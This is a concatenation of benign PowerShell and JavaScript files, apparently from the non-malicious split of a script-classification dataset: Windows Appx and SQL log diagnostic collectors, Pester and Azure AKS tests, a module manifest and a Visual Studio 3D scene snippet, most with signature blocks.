"HKLM\Software\Microsoft\Windows\CurrentVersion\AppModel","HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel" $OutputFile = $ComputerName + "_reg_AppModel.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "AppModel Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx" $OutputFile = $ComputerName + "_reg_Appx_HKLM.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "HKLM Appx Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKLM\Software\Policies\Microsoft\Windows\AppX" $OutputFile = $ComputerName + "_reg_AppxPolicies_HKLM.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "HKLM Appx Policies Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKLM\Software\Microsoft\Windows\Windows Error Reporting\BrokerUp" $OutputFile = $ComputerName + "_reg_BrokerUp.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "WER BrokerUp Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel","HKLM\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel" $OutputFile = $ComputerName + "_reg_LocalSettings_AppModel.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "LocalSettings AppModel Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\PluggableProtocols" $OutputFile = $ComputerName + "_reg_PluggableProtocols_HKLM.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "HKLM PluggableProtocols Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKLM\Software\Microsoft\Windows\CurrentVersion\WebApplicationHost","HKCU\Software\Microsoft\Windows\CurrentVersion\WebApplicationHost" $OutputFile = $ComputerName + "_reg_webApplicationHost.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "WebApplicationHost Registry Key" -SectionDescription $sectionDescription $Regkeys = "HKLM\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages","HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" $OutputFile = $ComputerName + "_reg_AppModel_Repository.txt" RegQuery -RegistryKeys $Regkeys -Recursive $true -OutputFile $OutputFile -fileDescription "WebApplicationHost Registry Key" -SectionDescription $sectionDescription # Saved Directories "Getting Appx Files" | WriteTo-StdOut Write-DiagProgress -Activity $ScriptStrings.ID_AppxFiles_Title -Status $ScriptStrings.ID_AppxFiles_Status $sectionDescription = "Appx Files" if(test-path "$env:SystemDrive\ProgramData\Microsoft\Windows\AppRepository") { Write-DiagProgress -Activity $ScriptStrings.ID_AppxFiles_Title -Status "AppRepository" $DesinationTempFolder = Join-Path ($PWD.Path) ([System.Guid]::NewGuid().ToString()) Copy-Item "$env:SystemDrive\ProgramData\Microsoft\Windows\AppRepository" -Destination $DesinationTempFolder -Force -Recurse -ErrorAction SilentlyContinue CompressCollectFiles -filesToCollect $DesinationTempFolder -DestinationFileName "AppRepository.zip" -fileDescription "AppRepository files" -sectionDescription $sectionDescription -Recursive Remove-Item $DesinationTempFolder -Force -Recurse } if(test-path "$env:localappdata\Packages\Package.Metadata") { Write-DiagProgress -Activity $ScriptStrings.ID_AppxFiles_Title -Status "Package.Metadata" $DesinationTempFolder = Join-Path ($PWD.Path) ([System.Guid]::NewGuid().ToString()) Copy-Item "$env:localappdata\Packages\Package.Metadata" -Destination $DesinationTempFolder -Force -Recurse -ErrorAction SilentlyContinue CompressCollectFiles -filesToCollect $DesinationTempFolder -DestinationFileName "PackageMetadata.zip" -fileDescription "PackageMetadata files" -sectionDescription $sectionDescription -Recursive Remove-Item $DesinationTempFolder -Force -Recurse } <# removed since all colecting all executables takes huge space and long time if(test-path "$env:windir\SystemApps") { $DesinationTempFolder = Join-Path ($PWD.Path) ([System.Guid]::NewGuid().ToString()) Copy-Item "$env:windir\SystemApps" -Destination $DesinationTempFolder -Force -Recurse -ErrorAction SilentlyContinue CompressCollectFiles -filesToCollect $DesinationTempFolder -DestinationFileName "SystemApps.zip" -fileDescription "SystemApps files" -sectionDescription $sectionDescription -Recursive Remove-Item $DesinationTempFolder -Force -Recurse } if(test-path "$env:programFiles\WindowsApps") { $DesinationTempFolder = Join-Path ($PWD.Path) ([System.Guid]::NewGuid().ToString()) Copy-Item "$env:programFiles\WindowsApps" -Destination $DesinationTempFolder -Force -Recurse -ErrorAction SilentlyContinue CompressCollectFiles -filesToCollect $DesinationTempFolder -DestinationFileName "WindowsApps.zip" -fileDescription "WindowsApps files" -sectionDescription $sectionDescription -Recursive Remove-Item $DesinationTempFolder -Force -Recurse } #> # Permission Data # Directory Listings "Getting Appx Directory Listings" | WriteTo-StdOut Write-DiagProgress -Activity $ScriptStrings.ID_DirListings_Title -Status $ScriptStrings.ID_DirListings_Status $sectionDescription = "Appx Directory Listings" <# removed if(test-path "$env:SystemDrive\ProgramFiles\WindowsApps") { $OutputFile = $ComputerName + "_DirList_WindowsApps_1.txt" dir "$env:SystemDrive\ProgramFiles\WindowsApps" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "WindowsApps Directory Listings" -sectionDescription $sectionDescription } #> if(test-path "$env:windir\SystemApps") { $OutputFile = $ComputerName + "_DirList_SystemApps.txt" Get-ChildItem "$env:windir\SystemApps" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "ProgramFiles SystemApps Directory Listings" -sectionDescription $sectionDescription } if(test-path "$env:ProgramFiles\WindowsApps") { $OutputFile = $ComputerName + "_DirList_WindowsApps.txt" Get-ChildItem "$env:ProgramFiles\WindowsApps" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "ProgramFiles WindowsApps Directory Listings" -sectionDescription $sectionDescription } if(test-path "$env:windir\ImmersiveControlPanel") { $OutputFile = $ComputerName + "_DirList_ImmersiveControlPanel.txt" Get-ChildItem "$env:windir\ImmersiveControlPanel" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "ImmersiveControlPanel Directory Listings" -sectionDescription $sectionDescription } if(test-path "$env:SystemDrive\Program Files\Internet Explorer") { $OutputFile = $ComputerName + "_DirList_InternetExplorer.txt" Get-ChildItem "$env:SystemDrive\Program Files\Internet Explorer" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "Internet Explorer Directory Listings" -sectionDescription $sectionDescription } if(test-path "$env:SystemDrive\Program Files (x86)\Internet Explorer") { $OutputFile = $ComputerName + "_DirList_InternetExplorerx86.txt" Get-ChildItem "$env:SystemDrive\Program Files (x86)\Internet Explorer" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "Internet Explorer(x86) Directory Listings" -sectionDescription $sectionDescription } if(test-path "$env:localappdata\Packages") { $OutputFile = $ComputerName + "_DirList_LocalAppData.txt" Get-ChildItem "$env:localappdata\Packages" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "Local Appdata Packages Directory Listings" -sectionDescription $sectionDescription } if(test-path "$env:SystemDrive\WindowApps") { $OutputFile = $ComputerName + "_DirList_WindowsAppx.txt" Get-ChildItem "$env:SystemDrive\WindowApps" >> $OutputFile CollectFiles -filesToCollect $OutputFile -fileDescription "SystemDrive WindowApps Directory Listings" -sectionDescription $sectionDescription } # Event Logs "Getting Appx Event Logs" | WriteTo-StdOut $sectionDescription = "Event Logs" $EventLogNames = "Microsoft-Windows-AppXDeployment/Operational", "Microsoft-Windows-AppXDeploymentServer/Operational", "Microsoft-Windows-AppXDeploymentServer/Restricted" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-AppxPackaging/Operational" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-AppModel-Runtime/Admin" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-All-User-Install-Agent/Admin" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-AppHost/Admin" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-CodeIntegrity/Operational" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-ApplicationResourceManagementSystem/Operational" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-SettingSync/Operational", "Microsoft-Windows-SettingSync/Debug" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription $EventLogNames = "Microsoft-Windows-PackageStateRoaming" Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription $sectionDescription # Appx PowerShell Commandlet output "Getting Appx Data" | WriteTo-StdOut Write-DiagProgress -Activity $ScriptStrings.ID_AppxDataLogs_Title -Status $ScriptStrings.ID_AppxDataLogs_Status $sectionDescription = "Appx Data" $OutputFile = $ComputerName + "_Inventory_FL.txt" Get-AppxPackage | Format-List | Out-File -FilePath $OutputFile -append CollectFiles -filesToCollect $OutputFile -fileDescription "Appx Package Inventory FL" -sectionDescription $sectionDescription $OutputFile = $ComputerName + "_AppxPackage.txt" Get-AppxPackage | Select-Object * | Out-File -FilePath $OutputFile -append CollectFiles -filesToCollect $OutputFile -fileDescription "Appx Package Inventory" -sectionDescription $sectionDescription $OutputFile = $ComputerName + "_AppxLog.txt" Get-AppxLog | Format-List | Out-File -FilePath $OutputFile -append CollectFiles -filesToCollect $OutputFile -fileDescription "Appx Log" -sectionDescription $sectionDescription Write-verbose "$(Get-Date -UFormat "%R:%S") : end of script DC_AppxCollect.ps1" # SIG # Begin signature block # MIIoUgYJKoZIhvcNAQcCoIIoQzCCKD8CAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQ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fOB1WJiLbE/yhDrPDNFQi0cvFgTKLujNfqouDmKAfBHMkGnYzeIlCA # oQoZuj+X # SIG # End signature block
combined_dataset/train/non-malicious/2151.ps1
2151.ps1
using namespace System.Threading using namespace System.Timers using namespace System.Diagnostics using namespace System.Diagnostics; using namespace System.Runtime.CompilerServices using namespace System.Collections.Generic [Flags()] enum E1 { E1 = 0x01 E2 = 0x02 E4 = 0x04 } [CompilerGenerated()] class C1 { [Thread][CompilerGenerated()]$Thread [Int32][CompilerGenerated()]$Int } [CompilerGeneratedAttribute()] class C2 { [Thread][CompilerGeneratedAttribute()]$Thread [Int32][CompilerGeneratedAttribute()]$Int } Describe "Using Namespace" -Tags "CI" { It "Type literals w/ using namespace" { [Thread].FullName | Should -Be System.Threading.Thread [Int32].FullName | Should -Be System.Int32 [C1].GetProperty("Thread").PropertyType.FullName | Should -Be System.Threading.Thread [C1].GetProperty("Int").PropertyType.FullName | Should -Be System.Int32 } It "Covert string to Type w/ using namespace" { ("Thread" -as [Type]).FullName | Should -Be System.Threading.Thread ("Int32" -as [Type]).FullName | Should -Be System.Int32 New-Object Int32 | Should -Be 0 New-Object CompilerGeneratedAttribute | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute } It "Attributes w/ using namespace" -pending { function foo { [DebuggerStepThrough()] param( [CompilerGeneratedAttribute()] $a, [CompilerGenerated()] $b ) "OK" } foo | Should -Be OK $cmdInfo = Get-Commmand foo $cmdInfo.ScriptBlock.Attributes[0] | Should -Be System.Diagnostics.DebuggerStepThroughAttribute $cmdInfo.Parameters['a'].Attributes[1] | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute $cmdInfo.Parameters['b'].Attributes[1] | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [C1].GetProperty("Thread").GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [C1].GetProperty("Int").GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [C2].GetProperty("Thread").GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [C2].GetProperty("Int").GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [C1].GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [C2].GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.Runtime.CompilerServices.CompilerGeneratedAttribute [E1].GetCustomAttributesData()[0].AttributeType.FullName | Should -Be System.FlagsAttribute } It "Ambiguous type reference" { { [ThreadState] } | Should -Throw -ErrorId AmbiguousTypeReference } It "Parameters" { function foo([Thread]$t = $null) { 42 } foo | Should -Be 42 $mod = New-Module -Name UsingNamespaceModule -ScriptBlock { function Set-Thread([Thread]$t = $null) { 44 } } Import-Module $mod Set-Thread | Should -Be 44 Remove-Module $mod } It "Generics" { function foo([List[string]]$l) { $l | Should -Be "a string" } $l = [List[string]]::new() $l.Add("a string") foo $l } ShouldBeParseError "1; using namespace System" UsingMustBeAtStartOfScript 3 ShouldBeParseError "using namespace Foo = System" UsingStatementNotSupported 0 }
combined_dataset/train/non-malicious/sample_4_93.ps1
sample_4_93.ps1
# ********************************************************************************************************************* # Version 1.0 # Date: 02-29-2012 # Author: Vinay Pamnani - vinpa@microsoft.com # Description: # Collects SQL Error Logs from the SQL Server hosting the ConfigMgr database. It creates a UNC Path to the # SQL Error Logs so logs can be collected remotely. # ********************************************************************************************************************* trap [Exception] { WriteTo-ErrorDebugReport -ErrorRecord $_ continue } TraceOut "Started" Import-LocalizedData -BindingVariable ScriptStrings $sectiondescription = "Configuration Manager Logs" $SQLServerName = $ConfigMgrDBServer $ZipName = $ComputerName + "_Logs_SQLError.zip" $fileDescription = "SQL Error Logs" If ($Is_SiteServer) { # ---------------- # Write Progress # ---------------- Write-DiagProgress -Activity "SQL Logs" -Status "Collecting SQL Logs" $SQLServerKey = "SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" $compress = $false # Get instance name for Database Server If ($ConfigMgrDBName.Contains("\")) { $instance = $ConfigMgrDBName.Substring(0,$ConfigMgrDBName.IndexOf("\")) $ConfigMgrDBName = $ConfigMgrDBName.Substring($ConfigMgrDBName.IndexOf("\")+1) $SQLInstanceName = $instance # Named instance } Else { $SQLInstanceName ="MSSQLSERVER" # Default instance } trap [Exception] { TraceOut " Failed to access $SQLServerKey. Path does not exist or Access Denied" AddTo-CMServerSummary "SQL Error Logs" -Value "Failed to access $SQLServerKey. Path does not exist or Access Denied" -NoToSummaryReport return } $RegKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey("LocalMachine", $SQLServerName) $Key = $RegKey.OpenSubKey($SQLServerKey) $SQLInstance = $Key.GetValue($SQLInstanceName) $SQLServerInstanceKey = "SOFTWARE\Microsoft\Microsoft SQL Server\" + $SQLInstance + "\MSSQLServer\Parameters" $RegKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey("LocalMachine", $SQLServerName) $Key = $RegKey.OpenSubKey($SQLServerInstanceKey) $KeyArgs = $Key.GetValueNames() foreach ($Arg in $KeyArgs) { $value = $Key.GetValue($Arg) if ($value -match '^-e(.+)') { # -e Argument specifies the Error Log Path. $matches is set by -match and 1st element stores the second match, which is the path. $SqlServerLogPath = [System.IO.Path]::GetDirectoryName($matches[1]) TraceOut " SQL Error Log Path = $SqlServerLogPath" break } } # Convert Log Path to UNC Path $SqlServerLogPathUNC = $SqlServerLogPath -replace ":","$" $SqlServerLogPathUNC = "\\$SQLServerName\" + $SqlServerLogPathUNC TraceOut " SQL Server Log Path UNC = $SqlServerLogPathUNC" # Create Temporary Destination folder to copy the logs in \Windows\Temp $Destination = Join-Path $Env:windir ("\Temp\" + $SQLServerName + "_Logs_SQLError") If (Test-Path $Destination) { Remove-Item -Path $Destination -Recurse -Force } New-Item -ItemType "Directory" $Destination | Out-Null #_# If (Get-ChildItem $SqlServerLogPathUNC -ErrorAction SilentlyContinue -ErrorVariable AccessError) { Copy-Item $SqlServerLogPathUNC\ERRORLOG $Destination -ErrorAction SilentlyContinue Copy-Item $SqlServerLogPathUNC\ERRORLOG.1 $Destination -ErrorAction SilentlyContinue Copy-Item $SqlServerLogPathUNC\ERRORLOG.2 $Destination -ErrorAction SilentlyContinue Copy-Item $SqlServerLogPathUNC\*.mtxt $Destination -ErrorAction SilentlyContinue # Copy-Item $SqlServerLogPathUNC\*.mdmp $Destination -ErrorAction SilentlyContinue $compress = $true } Else { TraceOut " Failed to access $SqlServerLogPathUNC. Path does not exist or Access Denied" # AddTo-CMServerSummary "SQL Error Logs" -Value "Failed to access $SqlServerLogPathUNC. Path does not exist or Access Denied" -NoToSummaryReport AddTo-CMDatabaseSummary -Name "SQL Error Logs" -Value "Failed to access $SqlServerLogPathUNC. Path does not exist or Access Denied" -NoToSummaryQueries -NoToSummaryReport } If ($compress) { Write-DiagProgress -Activity "SQL Logs" -Status "Compressing SQL Logs" compressCollectFiles -DestinationFileName $ZipName -filesToCollect ($Destination + "\*.*") -sectionDescription $sectionDescription -fileDescription $fileDescription -Recursive -ForegroundProcess -noFileExtensionsOnDescription Remove-Item -Path $Destination -Recurse # AddTo-CMServerSummary "SQL Error Logs" -Value "Review $ZipName" -NoToSummaryReport AddTo-CMDatabaseSummary -Name "SQL Error Logs" -Value "Review $ZipName" -NoToSummaryQueries -NoToSummaryReport } } Traceout "Completed" # SIG # Begin signature block # MIIoQwYJKoZIhvcNAQcCoIIoNDCCKDACAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAqj45A94KEfrMC # nXf3bwllBQYJCmI0FwOfg5wTz4X4eqCCDXYwggX0MIID3KADAgECAhMzAAAEBGx0 # Bv9XKydyAAAAAAQEMA0GCSqGSIb3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AYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRt # b25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xJjAkBgNVBAMTHU1p # Y3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB9oMvJmpUXSLBAAEAAAH2 # MCIEIFraBgk4xXajMAI68rUQCySUOKGDReEAQUOAuvhIwwAlMA0GCSqGSIb3DQEB # CwUABIICAIKV+mupJR71uYMPLx0j10g7KA3xuf0kFjvz3HB1sXQXpTJQQvQUVmiy # YToMDIeF4u+ecn2hbNBggH2ngidA+0WIxLx5rrWeZg6mskbt/blbPkcJ2YGtoY+K # JYJX83aAC2ie78C2/H3O7nnW5+gxT4puH1WFI9WJ5oMklTMrk/fzSqGxj3KZDnVn # Rt/O7c3olR+g3kpWTTq6uKnXsez4LfGmWVjUvNv2brFsMVHFCNcl62PjmgumutPF # 6xkqYX9ft2io5lWfIVGDbRhrc/jC88xAwbsMTKhNKbY9aHBPKtaR0JNj8/7GXCt2 # /xLGFjZ/aOFcTHN2A0pa3WTHZK3vRQ7oaF3RKaOTyfAgSMQHQefH+zG8L18etPuJ # yldkVx+UMPgDYQsBT4QrR/y6cy79ildcimmFqFxMimKOdMM58Totxdm9/Fkyydln # LM2SJmm/yZ436HU1l8XINELxgeeTpIeiTV3E1MbxKP3+cFh+O/0+tp2E/tjPUrrU # G7AzaO4bAqf95AhHSzLAqD0/AwaTYWqFQZZyAFP0ibwt75ZCa5N9SXEeWcq0SxnG # /KkT7pfucRLjOwgc2ZZrmycClbF4B91LvTkYmOngEBrUEqV0foydSSho7KMPvTyQ # sQZNpc4wwATYheTn+r9DDJB+IvKmrb8xBQ0KhP8XYxZJgWJIIEcO # SIG # End signature block
combined_dataset/train/non-malicious/3982.ps1
3982.ps1
function Test-AzureRmKubernetes { $resourceGroupName = Get-RandomResourceGroupName $kubeClusterName = Get-RandomClusterName $location = Get-ProviderLocation "Microsoft.ContainerService/managedClusters" try { New-AzResourceGroup -Name $resourceGroupName -Location $location if (isLive) { $cred = $(createTestCredential "Unicorns" "Puppies") New-AzAks -ResourceGroupName $resourceGroupName -Name $kubeClusterName -ClientIdAndSecret $cred } else { New-AzAks -ResourceGroupName $resourceGroupName -Name $kubeClusterName } $cluster = Get-AzAks -ResourceGroupName $resourceGroupName -Name $kubeClusterName Assert-NotNull $cluster.Fqdn Assert-NotNull $cluster.DnsPrefix Assert-AreEqual 1 $cluster.AgentPoolProfiles.Length Assert-AreEqual "1.8.1" $cluster.KubernetesVersion Assert-AreEqual 3 $cluster.AgentPoolProfiles[0].Count; $cluster = $cluster | Set-AzAks -NodeCount 2 Assert-AreEqual 2 $cluster.AgentPoolProfiles[0].Count; $cluster | Import-AzAksCredential -Force $cluster | Remove-AzAks -Force } finally { Remove-AzResourceGroup -Name $resourceGroupName -Force } }
combined_dataset/train/non-malicious/sample_63_89.ps1
sample_63_89.ps1
@{ GUID = "1DA87E53-152B-403E-98DC-74D7B4D63D59" Author = "PowerShell" CompanyName = "Microsoft Corporation" Copyright = "Copyright (c) Microsoft Corporation." ModuleVersion = "7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion = "3.0" CmdletsToExport = @( 'Export-Alias', 'Get-Alias', 'Import-Alias', 'New-Alias', 'Remove-Alias', 'Set-Alias', 'Export-Clixml', 'Import-Clixml', 'Measure-Command', 'Trace-Command', 'ConvertFrom-Csv', 'ConvertTo-Csv', 'Export-Csv', 'Import-Csv', 'Get-Culture', 'Format-Custom', 'Get-Date', 'Set-Date', 'Write-Debug', 'Wait-Debugger', 'Register-EngineEvent', 'Write-Error', 'Get-Event', 'New-Event', 'Remove-Event', 'Unregister-Event', 'Wait-Event', 'Get-EventSubscriber', 'Invoke-Expression', 'Out-File', 'Unblock-File', 'Get-FileHash', 'Export-FormatData', 'Get-FormatData', 'Update-FormatData', 'New-Guid', 'Format-Hex', 'Get-Host', 'Read-Host', 'Write-Host', 'ConvertTo-Html', 'Write-Information', 'ConvertFrom-Json', 'ConvertTo-Json', 'Test-Json', 'Format-List', 'Import-LocalizedData', 'Send-MailMessage', 'ConvertFrom-Markdown', 'Show-Markdown', 'Get-MarkdownOption', 'Set-MarkdownOption', 'Add-Member', 'Get-Member', 'Compare-Object', 'Group-Object', 'Measure-Object', 'New-Object', 'Select-Object', 'Sort-Object', 'Tee-Object', 'Register-ObjectEvent', 'Write-Output', 'Import-PowerShellDataFile', 'Write-Progress', 'Disable-PSBreakpoint', 'Enable-PSBreakpoint', 'Get-PSBreakpoint', 'Remove-PSBreakpoint', 'Set-PSBreakpoint', 'Get-PSCallStack', 'Export-PSSession', 'Import-PSSession', 'Get-Random', 'Invoke-RestMethod', 'Debug-Runspace', 'Get-Runspace', 'Disable-RunspaceDebug', 'Enable-RunspaceDebug', 'Get-RunspaceDebug', 'ConvertFrom-SddlString', 'Start-Sleep', 'Join-String', 'Out-String', 'Select-String', 'ConvertFrom-StringData', 'Format-Table', 'New-TemporaryFile', 'New-TimeSpan', 'Get-TraceSource', 'Set-TraceSource', 'Add-Type', 'Get-TypeData', 'Remove-TypeData', 'Update-TypeData', 'Get-UICulture', 'Get-Unique', 'Get-Uptime', 'Clear-Variable', 'Get-Variable', 'New-Variable', 'Remove-Variable', 'Set-Variable', 'Get-Verb', 'Write-Verbose', 'Write-Warning', 'Invoke-WebRequest', 'Format-Wide', 'ConvertTo-Xml', 'Select-Xml', 'Get-Error', 'Update-List', 'Out-GridView', 'Show-Command', 'Out-Printer' ) FunctionsToExport = @() AliasesToExport = @('fhx') NestedModules = @("Microsoft.PowerShell.Commands.Utility.dll") HelpInfoURI = 'https://aka.ms/powershell72-help' } # SIG # Begin signature block # MIInvwYJKoZIhvcNAQcCoIInsDCCJ6wCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWC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NaWNyb3NvZnQgQ29ycG9yYXRpb24x # JjAkBgNVBAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB5Y9q # wPM9tAujAAEAAAHlMCIEINPR0HYpMmOyFkWfSRGeTc36NUXezcPQSfL98yv+lNfa # MA0GCSqGSIb3DQEBCwUABIICAIPc8lZrZnu/7pfT93byyZTUfNrcd/UIy2cwSZBq # VbkPMvqgVWF7VoWYNSod1UHrVa99r9Xj6MyKoyDfmot1h98bcO0kTpCW9+9IqodB # JHpDit50Hu159PRYHgyB+HMhkLRRUAkBApYyrYj6jbntZ3qNsB5+X10glA+x7yND # Jk2SfDf7sMYGEEMZW5z5tcLBaECzbmPTOp8V03JcTxUybj4xr/e6041u+iEQm4Bf # rsZK4MmcctJ9jFGp1s9r3qSMId4+poK8d1BPAnX/Dh5QOTcaD8yLbSPGb0KzwyeI # 7xKB85t86OFr5GigCoN6HPOW8cueL5W17O1ImLjxl6XMB/6dzIMiv+evDGH6k4ka # 6OHQneAkCyICHfcvAYohL5iZrMLDE7SgZNPijtDF0/lwVUo6CZa3ph8vjzHXTlST # ZIv6AasDy5JggucovOarUq47/WyvrvtrOxcTUePiqkQkXM2BhyQE/9K6chUpOpsT # GJv2uchgklBhsFHfpioYPEWRdiNNgsa2WR0IZQ1/l08NCnJFGEiwwcbkK833ie7B # 0Rjft6nEKdVqmqTjiabZ9xuWe4JtJ6sO06UnWFbsUxQwMFxzG9JoRDV1yz49rPPD # 1jRmZSRGOmsecAWeGnnl0wQarOfIRrF5BqXV+8XhbZwtXesDWRXEF85vI/P2Powf # LMV1 # SIG # End signature block
combined_dataset/train/non-malicious/sample_41_40.ps1
sample_41_40.ps1
// // show all meshes in the scene by setting Hidden=false // var c = document.elements.elementCount; for (var i = 0; i < c; i++) { var element = document.elements.getElement(i); if (element.typeId == "Microsoft.VisualStudio.3D.Mesh") { element.getTrait("Hidden").value = false; } } // SIG // Begin signature block // SIG // MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglg // SIG // hkgBZQMEAgEFADB3BgorBgEEAYI3AgEEoGkwZzAyBgor // SIG // BgEEAYI3AgEeMCQCAQEEEBDgyQbOONQRoqMAEEvTUJAC // SIG // AQACAQACAQACAQACAQAwMTANBglghkgBZQMEAgEFAAQg // SIG // hrAyEU/RkT9RtT0SwhujFKn4x5cfXmAFJYqW4TSLzQyg // SIG // gg12MIIF9DCCA9ygAwIBAgITMwAAA68wQA5Mo00FQQAA // SIG // AAADrzANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJV // SIG // UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH // SIG // UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBv // SIG // cmF0aW9uMSgwJgYDVQQDEx9NaWNyb3NvZnQgQ29kZSBT // SIG // aWduaW5nIFBDQSAyMDExMB4XDTIzMTExNjE5MDkwMFoX // SIG // DTI0MTExNDE5MDkwMFowdDELMAkGA1UEBhMCVVMxEzAR // SIG // BgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1v // SIG // bmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv // SIG // bjEeMBwGA1UEAxMVTWljcm9zb2Z0IENvcnBvcmF0aW9u // SIG // MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA // SIG // zkvLNa2un9GBrYNDoRGkGv7d0PqtTBB4ViYakFbjuWpm // SIG // F0KcvDAzzaCWJPhVgIXjz+S8cHEoHuWnp/n+UOljT3eh // SIG // A8Rs6Lb1aTYub3tB/e0txewv2sQ3yscjYdtTBtFvEm9L // SIG // 8Yv76K3Cxzi/Yvrdg+sr7w8y5RHn1Am0Ff8xggY1xpWC // SIG // XFI+kQM18njQDcUqSlwBnexYfqHBhzz6YXA/S0EziYBu // SIG // 2O2mM7R6gSyYkEOHgIGTVOGnOvvC5xBgC4KNcnQuQSRL // SIG // iUI2CmzU8vefR6ykruyzt1rNMPI8OqWHQtSDKXU5JNqb // SIG // k4GNjwzcwbSzOHrxuxWHq91l/vLdVDGDUwIDAQABo4IB // SIG // czCCAW8wHwYDVR0lBBgwFgYKKwYBBAGCN0wIAQYIKwYB // SIG // BQUHAwMwHQYDVR0OBBYEFEcccTTyBDxkjvJKs/m4AgEF // SIG // hl7BMEUGA1UdEQQ+MDykOjA4MR4wHAYDVQQLExVNaWNy // SIG // b3NvZnQgQ29ycG9yYXRpb24xFjAUBgNVBAUTDTIzMDAx // SIG // Mis1MDE4MjYwHwYDVR0jBBgwFoAUSG5k5VAF04KqFzc3 // SIG // IrVtqMp1ApUwVAYDVR0fBE0wSzBJoEegRYZDaHR0cDov // SIG // L3d3dy5taWNyb3NvZnQuY29tL3BraW9wcy9jcmwvTWlj // SIG // 